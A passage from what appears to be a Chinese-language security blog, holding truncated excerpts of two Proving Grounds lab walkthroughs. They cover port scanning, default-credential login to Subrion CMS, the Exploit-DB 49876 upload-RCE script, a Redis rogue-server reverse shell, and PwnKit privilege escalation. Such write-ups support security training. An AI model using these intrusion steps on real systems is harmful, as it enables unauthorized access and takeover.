ARIES

 Proving Grounds Practice : Exfiltrated Walkthrough Foothole (立足點 ) : 80 發現 CMS 套件 Subrion 標準利用 PoC 49876 直接拿到 Shell PE ( 提權 ) : PwnKit 直接成功 注意事項 : Subrion CMS PoC 學習，網址要注意加上最後的 / 要另外學習 ExifTool 指令利用 Rustscan，└─$ rustscan -a 192.168.181.163 --scripts none  --ulimit 5000 | tee rustscan 22、80 兩個 Port 而已 snmp closed nmap，└─$ sudo nmap -sCV -A -p 22,80 192.168.181.163 | tee nmap whatweb，└─$ whatweb http://192.168.181.163 | tee whatweb hosts 看來要先寫死 再跑一次，Title[Home :: Powered by Subrion 4.2] 80 / 看來是個 CMS，名稱是 Subrion Subrion 管理者登入的頁面是 /panel，使用 admin:admin 登入嘗試成功 Version 4.2.1 參考這個  https://www.exploit-db.com/exploits/49876 版本 4.2.1 符合，第一行就寫驗證後可以 RCE 看來就是了 # Exploit Title: Subrion CMS 4.2.1 - File Upload Bypass to RCE (Authenticated) 執行後顯示驗證失敗，└─$ python3 49876.py -u http://exfiltrated.offsec/panel -l admin -p admin 但這個帳號密碼可以成功登入沒有問題，怎麼會顯示驗證失敗 後來發現網址最後面要加上 / 加上斜線後再跑一次試試看，└─$ python3 49876.py -u http://exfiltrated.offsec/panel/ -l admin -p admin，這一次成功透過 PoC 拿到 Shell 了 cat /etc/p...

 Proving Grounds Practice : BlackGate Walkthrough Foothole (立足點 ) : 6379 Port 發現 Redis，使用 PoC 建立 Reverse Shell 進入系統 PE ( 提權 ) : linpeas.sh 後發現 [ CVE-2021-4034] PwnKit，執行後獲得 Root 注意事項 : 相當簡單的一題 Redis 標準利用 PwnKit 標準利用 第一步 Rustscan， └─$ rustscan -a 192.168.207.176 --scripts none --ulimit 5000 | tee rustscan 只有兩個 Port 22、6379 snmp closed，└─$ sudo nmap -sU -p 161 192.168.207.176 | tee snmp nmap，└─$ sudo nmap -sCV -A -p 22,6379 192.168.207.176 | tee nmap 22/tcp   open  ssh     OpenSSH 8.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0) 6379/tcp open  redis   Redis key-value store 4.0.14 只有兩個，排除 22 Port 直接朝向 6379 Redis 6379 Port 是 Redis 標準 Port，nmap 又顯示 Redis 那就直接下手 Redis 好用的入侵工具，參考  https://github.com/n0b0dyCN/redis-rogue-server 可以參考前一篇 :  https://your-it-note.blogspot.com/2024/03/proving-grounds-practice-wombo.html 先將 exp.so、redis-rogue-server.py 下載到同一個路徑 先帶入 -h 看一下參數，預設就帶 6379 Port 與使用 exp.so 檔案 PoC 也有使用範例 直接 PoC 下去，└─$ ./redis-ro...